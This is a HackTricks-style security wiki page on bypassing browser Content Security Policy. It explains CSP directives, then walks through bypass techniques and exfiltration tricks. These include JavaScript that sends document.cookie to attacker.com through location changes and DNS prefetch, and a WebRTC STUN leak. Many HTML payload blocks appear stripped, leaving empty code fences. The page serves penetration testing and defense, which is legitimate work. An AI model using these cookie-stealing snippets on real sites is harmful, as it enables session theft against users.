# Content Security Policy (CSP) Bypass
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %} ## What is CSP Content Security Policy or CSP is a built-in browser technology which **helps protect from attacks such as cross-site scripting (XSS)**. It lists and describes paths and sources, from which the browser can safely load resources. The resources may include images, frames, javascript and more. Here is an example of resources being allowed from the local domain (self) to be loaded and executed in-line and allow string code executing functions like `eval`, `setTimeout` or `setInterval:` Content Security Policy is implemented via **response headers** or **meta elements of the HTML page**. The browser follows the received policy and actively blocks violations as they are detected. Implemented via response header: ```http Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` Implemented via meta tag: ```markup ``` ### Headers * `Content-Security-Policy` * `Content-Security-Policy-Report-Only` This one won't block anything, only send reports (use in Pre environment). ## Defining resources CSP works by restricting the origins from where active and passive content can be loaded from. It can additionally restrict certain aspects of active content such as the execution of inline javascript, and the use of `eval()`. ``` default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### Directives * **script-src**: This directive specifies allowed sources for JavaScript. This includes not only URLs loaded directly into elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution. * **default-src**: This directive defines the policy for fetching resources by default. When fetch directives are absent in the CSP header the browser follows this directive by default. * **Child-src**: This directive defines allowed resources for web workers and embedded frame contents. * **connect-src**: This directive restricts URLs to load using interfaces like fetch, websocket, XMLHttpRequest * **frame-src**: This directive restricts URLs to frames that can be called out. * **frame-ancestors**: This directive specifies the sources that can embed the current page. This directive applies to [``](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/frame), [` // The bot will load an URL with the payload ``` ### Via Bookmarklets This attack would imply some social engineering where the attacker **convinces the user to drag and drop a link over the bookmarklet of the browser**. This bookmarklet would contain **malicious javascript** code that when drag\&dropped or clicked would be executed in the context of the current web window, **bypassing CSP and allowing to steal sensitive information** such as cookies or tokens. For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass by restricting CSP In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**. You can **restrict a CSP of an Iframe** with the **`csp`** attribute: {% code overflow="wrap" %} ```html ``` {% endcode %} In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\ CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**: ```html ``` ### JS exfiltration with Content-Security-Policy-Report-Only If you can manage to make the server responds with the header **`Content-Security-Policy-Report-Only`** with a **value controlled by you** (maybe because of a CRLF), you could make it point your server and if you **wraps** the **JS content** you want to exfiltrate with **`` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\ For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) ## CSP Exfiltration Bypasses If there is a strict CSP that doesn't allow you to **interact with external servers**, there are some things you can always do to exfiltrate the information. ### Location You could just update the location to send to the attacker's server the secret information: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### Meta tag You could redirect by injecting a meta tag (this is just a redirect, this won't leak content) ```html ``` ### DNS Prefetch To load pages faster, browsers are going to pre-resolve hostnames into IP addresses and cache them for later usage.\ You can indicate a browser to pre-resolve a hostname with: `` You could abuse this behaviour to **exfiltrate sensitive information via DNS requests**: ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` Another way: ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` In order to avoid this from happening the server can send the HTTP header: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} Apparently, this technique doesn't work in headless browsers (bots) {% endhint %} ### WebRTC On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP. Actually you can *leak* informations using a *DNS request*. Check out this code: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` ## Checking CSP Policies Online * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## Automatically creating CSP [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## References * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) ​
**HackenProof is home to all crypto bug bounties.** **Get rewarded without delays**\ HackenProof bounties launch only when their customers deposit the reward budget. You'll get the reward after the bug is verified. **Get experience in web3 pentesting**\ Blockchain protocols and smart contracts are the new Internet! Master web3 security at its rising days. **Become the web3 hacker legend**\ Gain reputation points with each verified bug and conquer the top of the weekly leaderboard. [**Sign up on HackenProof**](https://hackenproof.com/register) start earning from your hacks! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).